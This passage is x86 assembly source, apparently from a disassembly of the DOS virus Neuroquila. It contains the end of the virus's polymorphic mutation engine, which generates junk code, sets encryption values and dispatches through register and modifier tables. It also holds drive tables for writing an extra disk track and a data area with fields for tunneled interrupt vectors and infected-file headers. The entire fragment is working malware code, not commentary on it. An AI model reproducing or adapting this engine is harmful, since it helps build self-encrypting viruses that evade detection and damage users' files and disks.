mov al,cl and al,7 cmp al,4 ja ret2 test byte ptr [bx+ offset time - offset engine_data],3 jz ret2 call genjunk_9 ; set encryption value in virus-body also mov ax,[bx+ offset encr_val1 - offset engine_data] mov [bx+ offset encr_val2 - offset engine_data],ax ; save encryption value to stack push ax ; [bp+4] value16 ; get register for encr_value from time mov si,[bx+ offset time - offset engine_data] and si,3 mov al,byte ptr [bx+si+offset encr_reg1-1 - offset engine_data] ; mov si,[bx+ offset time - offset engine_data] gen_set_reg: ; AX == reg to set cbw push ax ; [bp+2] reg16 ; db 0C1h,0EEh,03h shr si,3 and si,3 push bp mov bp,sp shl si,1 call word ptr [bx+si+ offset set_reg_table - offset engine_data] ;[bx+si-20h] pop bp pop ax pop ax ret ; Bits 0..2 of DX == reg to use for addr init_addr: call genjunk_9 mov [bx+ offset init_addr_pos - offset engine_data],di ; save position ; push 0FEh ; [bp+4] value16 db 6Ah,0FEh ; load register value for SI,DI or BX mov si,dx and si,3 mov al,[bx+si+ offset si_di_bx - offset engine_data] mov si,dx jmp gen_set_reg ;=========================================================================== ; call-table functions for address-increase and encryption-value-modifier ;=========================================================================== gen_addr_inc: mov al,0fh call gen_limit_junk mov si,[bx+ offset time - offset engine_data + 1] and si,3 shl si,1 call word ptr [bx+si+ offset addr_increase_table - offset engine_data] ret2: ret gen_modifier: mov al,cl and al,7 cmp al,4 ja ret2 mov al,ch and ax,3 shl ax,1 xchg si,ax jz ret2 test byte ptr [bx+ offset time - offset engine_data],3 jz ret2 push si mov al,0fh call gen_limit_junk pop si mov al,81h stosb jmp word ptr [bx+si+ offset modifier_table - offset engine_data] ;---------------------------------------------------------------------------------------; ; End of the Mutation-Engine of Neuroquila ; ;---------------------------------------------------------------------------------------; ; this table to the disk-tables never used dw offset disk_525 dw offset disk_35 ; Tables of drive characteristics for enabling the extra-track disk_525 db 0DFh, 02h, 25h, 02h, 0Fh, 1Bh, 0FFh, 54h, 0F6h, 0Fh, 08h disk_35 db 0DFh, 02h, 25h, 02h, 12h, 1Bh, 0FFh, 6Ch, 0F6h, 0Fh, 08h db 0 my_size: ;---------------------------------------------------------------------------------------; ; The external data area ; ;---------------------------------------------------------------------------------------; org 1204h vir_dta db 3fh dup (?) head_buff db 1eh dup (?) l_org_fsize dw ? h_org_fsize dw ? head_encr_val dw ? disk_table db 4*10 dup (?) disk_buff db 200h dup (?) tunneled_ofs dw ? tunneled_seg dw ? tun21_ofs dw ? tun21_seg dw ? xms_addr dd ? filename db 41h dup (?) memory_top: code2 ends end start